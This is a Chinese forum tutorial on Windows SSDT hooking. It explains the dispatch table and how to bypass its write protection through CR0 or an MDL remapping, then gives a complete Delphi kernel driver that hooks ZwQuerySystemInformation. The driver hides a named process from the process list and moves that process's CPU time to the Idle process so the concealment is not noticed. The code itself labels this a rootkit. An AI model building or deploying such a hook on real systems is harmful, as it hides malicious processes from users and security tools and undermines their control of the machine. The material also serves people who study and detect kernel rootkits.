TA的每日心情 | 开心 2024-12-9 18:45 |
---|
签到天数: 124 天 [LV.7]常住居民III
|
欢迎您注册加入!这里有您将更精采!
您需要 登录 才可以下载或查看,没有账号?注册
x
一、一般思路:
1.先来了解一下,什么是SSDT
SSDT即System Service Dispath Table。在了解它之前,我们先了解一下NT的基本组件。在 Windows NT 下,NT 的 executive(NTOSKRNL.EXE 的一部分)提供了核心系统服务。各种 Win32、OS/2 和 POSIX 的 APIs 都是以 DLL 的形式提供的。这些dll中的 APIs 转过来调用了 NT executive 提供的服务。尽管调用了相同的系统服务,但由于子系统不同,API 函数的函数名也不同。例如,要用Win32 API 打开一个文件,应用程序会调用 CreateFile(),而要用 POSIX API,则应用程序调用 open() 函数。这两种应用程序最终都会调用 NT executive 中的 NtCreateFile() 系统服务。
用户模式(User mode)的所有调用,如Kernel32,User32.dll, Advapi32.dll等提供的API,最终都封装在Ntdll.dll中,然后通过Int 2E或SYSENTER进入到内核模式,通过服务ID,在System Service Dispatcher Table中分派系统函数,举个具体的例子,如下图:
从上可知,SSDT就是一个表,这个表中有内核调用的函数地址。从上图可见,当用户层调用FindNextFile函数时,最终会调用内核层的NtQueryDirectoryFile函数,而这个函数的地址就在SSDT表中,如果我们事先把这个地址改成我们特定函数的地址,那么,哈哈。。。。。。。下来详细了解一下,SSDT的结构,如下图:
KeServiceDescriptorTable:是由内核(Ntoskrnl.exe)导出的一个表,这个表是访问SSDT的关键,具体结构如下:
- TServiceDescriptorEntry=packed record
- ServiceTableBase:PULONG;
- ServiceCounterTableBase:PULONG;
- NumberOfServices:ULONG;
- ParamTableBase:PByte;
- end;
复制代码 其中,
ServiceTableBase -- System Service Dispatch Table 的基地址。
NumberOfServices 由 ServiceTableBase 描述的服务的数目。
ServiceCounterTable 此域用于操作系统的 checked builds,包含着 SSDT 中每个服务被调用次数的计数器。这个计数器由 INT 2Eh 处理程序 (KiSystemService)更新。
ParamTableBase 包含每个系统服务参数字节数表的基地址。
System Service Dispath Table(SSDT):系统服务分发表,给出了服务函数的地址,每个地址4字节长。
System Service Parameter Table(SSPT):系统服务参数表,定义了对应函数的参数字节,每个函数对应一个字节。如在0x804AB3BF处的函数需0x18字节的参数。
还有一种这样的表,叫KeServiceDescriptorTableShadow,它主要包含GDI服务,也就是我们常用的和窗口,桌面有关的,具体存在于Win32k.sys。在如下图:
右侧的服务分发就通过KeServiceDescriptorTableShadow。
那么下来该咋办呢?下来就是去改变SSDT所指向的函数,使之指向我们自己的函数。
2.Hook前的准备-改变SSDT内存的保护
系统对SSDT都是只读的,不能写。如果试图去写,等你的就是BSOD。一般可以修改内存属性的方法有:通过cr0寄存器及Memory Descriptor List(MDL)。
(1)改变CR0寄存器的第1位
Windows对内存的分配,是采用的分页管理。其中有个CR0寄存器,如下图:
其中第1位叫做保护属性位,控制着页的读或写属性。如果为1,则可以读/写/执行;如果为0,则只可以读/执行。SSDT、IDT的页属性在默认下都是只读,可执行的,但不能写。所以现在要把这一位设置成1。
(2) 通过Memory Descriptor List(MDL)
也就是把原来SSDT的区域映射到我们自己的MDL区域中,并把这个区域设置成可写。MDL的结构:
- TMDL=packed record
- Next: PMDL;
- Size: CSHORT;
- MdlFlags: CSHORT;
- Process: PEPROCESS;
- MappedSystemVa: PVOID;
- StartVa: PVOID;
- ByteCount: ULONG;
- ByteOffset: ULONG;
- end;
复制代码 首先需要知道KeServiceDscriptorTable的基址和入口数,这样就可以用MmCreateMdl创建一个有起始地址和大小的内存区域。然后把这个MDL结构的flag改成MDL_MAPPED_TO_SYSTEM_VA ,那么这个区域就可以写了。最后把这个内存区域调用MmMapLockedPages锁定在内存中。大体框架如下:
- { 把SSDT隐射到我们的区域,以便修改它为可写属性 }
- g_pmdlSystemCall := MmCreateMdl(nil, lpKeServiceDescriptorTable^.ServiceTableBase,
- lpKeServiceDescriptorTable^.NumberOfServices * 4);
- if g_pmdlSystemCall = nil then
- Exit(STATUS_UNSUCCESSFUL);
- MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
- { 改变MDL的Flags属性为可写,既然可写当然可读,可执行 }
- g_pmdlSystemCall^.MdlFlags := g_pmdlSystemCall^.MdlFlags or MDL_MAPPED_TO_SYSTEM_VA;
- { 在内存中锁定,不让换出 }
- MappedSystemCallTable := MmMapLockedPages(g_pmdlSystemCall, KernelMode);
复制代码 现在遇到的第一个问题解决了,但接着面临另外一个问题,如何获得SSDT中函数的地址呢?
由于Delphi不支持导入其他模块导出的变量,因此我们在这里使用变通的方法,我们把KeServiceDescriptorTable当成函数导入。因此在处理上就和C不同了。由于KeServiceDescriptorTable是当成函数导入的,因此它的真实地址就保存在IAT表中,我们首先用GetImportFunAddr函数从IAT中取得KeServiceDescriptorTable的地址,接下来用SystemServiceName函数取得相应函数在SSDT中的地址。SystemServiceName的原理就是因为所有的Zw*函数都开始于opcode:MOV eax, ULONG,这里的ULONG就是系统调用函数在SSDT中的索引。接下来我们使用InterlockedExchange自动的交换SSDT中索引所对应的函数地址和我们hook函数的地址。
3.小试牛刀:利用SSDT Hook隐藏进程
我们所熟知的任务管理器,能察看系统中的所有进程及其他很多信息,这是由于调用了一个叫ZwQuerySystemInformation的内核函数,其函数原型如下:
- function ZwQuerySystemInformation(
- SystemInformationClass: SYSTEM_INFORMATION_CLASS; {如果这值是5,则代表系统中所有进程信息}
- SystemInformation: PVOID; {这就是最终列举出的信息,和上面的值有关}
- SystemInformationLength: ULONG;
- ReturnLength: PULONG): NTSTATUS; stdcall;
复制代码 如果用我们自己函数,这个函数可以把我们关心的进程过滤掉,再把它与原函数调换,则可达到隐藏的目的,大体思路如下:
(1) 突破SSDT的内存保护,如上所用的MDL方法
(2) 实现自己的NewZwQuerySystemInformation函数,过滤掉以某些字符开头的进程
(3) 用InterlockedExchange来交换ZwQuerySystemInformation与我们自己的New*函数
(4) 卸载New*函数,完成。
具体代码如下:
- unit ssdt_hook;
- interface
- uses
- nt_status, ntoskrnl, native, fcall, macros;
- function _DriverEntry(pDriverObject:PDRIVER_OBJECT;
- pusRegistryPath:PUNICODE_STRING): NTSTATUS; stdcall;
- implementation
- type
- {定义ZwQuerySystemInformation函数类型}
- TZwQuerySystemInformation =
- function(SystemInformationClass: SYSTEM_INFORMATION_CLASS;
- SystemInformation: PVOID;
- SystemInformationLength: ULONG;
- ReturnLength: PULONG): NTSTATUS; stdcall;
- var
- m_UserTime: LARGE_INTEGER;
- m_KernelTime: LARGE_INTEGER;
- OldZwQuerySystemInformation: TZwQuerySystemInformation;
- g_pmdlSystemCall: PMDL;
- MappedSystemCallTable: PPointer;
- lpKeServiceDescriptorTable: PServiceDescriptorEntry;
- { 由于Delphi无法导入其他模块导出的变量,因此我们变通一下,将其
- 当做函数导入,这样,其真实地址就保存在IAT中,每条导入函数的
- IAT记录有6字节,格式为jmp ds:[xxxxxxxx],机器码为FF25xxxxxxxx,
- FF25是长跳转的机器码,跳过这2字节就是需要的地址。这点与C中不同,
- 需要注意。}
- function GetImportFunAddr(lpImportAddr: Pointer): Pointer; stdcall;//从导入表中获取一个函数的地址
- begin
- { 直接使用指针指向函数即可,还原SSDT的时候类似,也只需要指向
- KeServiceDescriptorTable }
- Result := PPointer(PPointer(Cardinal(lpImportAddr) + 2)^)^;
- end;
- { KeServiceDescriptorTable+函数名计算SSDT函数偏移 }
- function SystemServiceName(AFunc: Pointer): PLONG; stdcall;
- begin
- { SSDT偏移+函数名,就是SSDT函数偏移 }
- { Delphi 2009中支持Pointer Math运算,可以这样写 }
- {Result := lpKeServiceDescriptorTable^.ServiceTableBase[PULONG(ULONG(AFunc) + 1)^];}
- { 如果用其他版本,就只能像下面这样写了 }
- Result := PLONG(Cardinal(lpKeServiceDescriptorTable^.ServiceTableBase) + (SizeOf(ULONG) * PULONG(ULONG(AFunc) + 1)^));
- end;
- { 我们的hook函数,过滤掉"InstDrv"的进程 }
- function NewZwQuerySystemInformation(
- SystemInformationClass: SYSTEM_INFORMATION_CLASS;
- SystemInformation: PVOID;
- SystemInformationLength: ULONG;
- ReturnLength: PULONG): NTSTATUS; stdcall;
- var
- nt_Status: NTSTATUS;
- curr, prev: PSYSTEM_PROCESSES;
- times: PSYSTEM_PROCESSOR_TIMES;
- begin
- nt_Status := OldZwQuerySystemInformation(
- SystemInformationClass,
- SystemInformation,
- SystemInformationLength,
- ReturnLength );
- if NT_SUCCESS(nt_Status) then
- begin
- { 请求文件、目录列表 }
- if SystemInformationClass = SystemProcessesAndThreadsInformation then
- begin
- { 列举系统进程链表 }
- { 寻找"InstDrv"进程 }
- curr := PSYSTEM_PROCESSES(SystemInformation);
- prev := nil;
- while curr <> nil do
- begin
- DbgPrint('Current item is %x'#13#10, curr);
- if curr^.ProcessName.Buffer <> nil then
- begin
- if wscncmp(curr^.ProcessName.Buffer, PWideChar('InstDrv'), 7) = 0 then
- begin
- Inc(m_UserTime.QuadPart, curr^.UserTime.QuadPart);
- Inc(m_KernelTime.QuadPart, curr^.KernelTime.QuadPart);
- if prev <> nil then
- begin
- { Middle or Last entry }
- if curr^.NextEntryDelta <> 0 then
- Inc(prev^.NextEntryDelta, curr^.NextEntryDelta)
- else
- { we are last, so make prev the end }
- prev^.NextEntryDelta := 0;
- end else
- begin
- if curr^.NextEntryDelta <> 0 then
- begin
- { we are first in the list, so move it forward }
- PAnsiChar(SystemInformation) := PAnsiChar(SystemInformation) +
- curr^.NextEntryDelta;
- end else { we are the only process! }
- SystemInformation := nil;
- end;
- end;
- end else { Idle process入口 }
- begin
- { 把InstDrv进程的时间加给Idle进程,Idle称空闲时间 }
- Inc(curr^.UserTime.QuadPart, m_UserTime.QuadPart);
- Inc(curr^.KernelTime.QuadPart, m_KernelTime.QuadPart);
- { 重设时间,为下一次过滤 }
- m_UserTime.QuadPart := 0;
- m_KernelTime.QuadPart := 0;
- end;
- prev := curr;
- if curr^.NextEntryDelta <> 0 then
- PAnsiChar(curr) := PAnsiChar(curr) + curr^.NextEntryDelta
- else
- curr := nil;
- end;
- end else if SystemInformationClass = SystemProcessorTimes then
- begin
- times := PSYSTEM_PROCESSOR_TIMES(SystemInformation);
- times^.IdleTime.QuadPart := times^.IdleTime.QuadPart +
- m_UserTime.QuadPart +
- m_KernelTime.QuadPart;
- end;
- end;
- Result := nt_Status;
- end;
- procedure OnUnload(DriverObject: PDRIVER_OBJECT); stdcall;
- begin
- DbgPrint('ROOTKIT: OnUnload called'#13#10);
- { 卸载hook }
- InterlockedExchange(SystemServiceName(GetImportFunAddr(@ZwQuerySystemInformation)),
- LONG(@OldZwQuerySystemInformation));
- { 解锁并释放MDL }
- if g_pmdlSystemCall <> nil then
- begin
- MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
- IoFreeMdl(g_pmdlSystemCall);
- end;
- end;
- function _DriverEntry(pDriverObject: PDRIVER_OBJECT;
- pusRegistryPath: PUNICODE_STRING): NTSTATUS;
- begin
- { 取得指向系统服务描述符表的指针…… }
- lpKeServiceDescriptorTable := GetImportFunAddr(@KeServiceDescriptorTable);
- { 注册一个卸载的分发函数,与与应用层沟通 }
- pDriverObject^.DriverUnload := @OnUnload;
- { 初始化全局时间为零 }
- { 这将会解决时间问题,如果不这样,尽管隐藏了进程,但时间的
- 消耗会不变,cpu 100% }
- m_UserTime.QuadPart := 0;
- m_KernelTime.QuadPart := 0;
- { 保存旧的函数地址 }
- OldZwQuerySystemInformation :=
- TZwQuerySystemInformation(SystemServiceName(GetImportFunAddr(@ZwQuerySystemInformation)));
- { 把SSDT隐射到我们的区域,以便修改它为可写属性 }
- g_pmdlSystemCall := MmCreateMdl(nil, lpKeServiceDescriptorTable^.ServiceTableBase,
- lpKeServiceDescriptorTable^.NumberOfServices * 4);
- if g_pmdlSystemCall = nil then
- Exit(STATUS_UNSUCCESSFUL);
- MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
- { 改变MDL的Flags属性为可写,既然可写当然可读,可执行 }
- g_pmdlSystemCall^.MdlFlags := g_pmdlSystemCall^.MdlFlags or MDL_MAPPED_TO_SYSTEM_VA;
- { 在内存中锁定,不让换出 }
- MappedSystemCallTable := MmMapLockedPages(g_pmdlSystemCall, KernelMode);
- { 把原来的Zw*替换成我们的New*函数。至此已完成了我们的主要两步,
- 先突破了SSDT的保护,接着用InterlockedExchange更改了目标函数,
- 下来就剩下具体的过滤任务了 }
- OldZwQuerySystemInformation :=
- TZwQuerySystemInformation(InterlockedExchange(SystemServiceName(GetImportFunAddr(@ZwQuerySystemInformation)),
- LONG(@NewZwQuerySystemInformation)));
- Result := STATUS_SUCCESS;
- end;
- end.
复制代码 这里我隐藏了InstDrv这个进程,加载驱动后可以发现我们的驱动确实Hook了ZwQuerySystemInformation,而且在进程列表中也看不到InstDrv进程,说明我们的驱动是成功的^_^。
|
|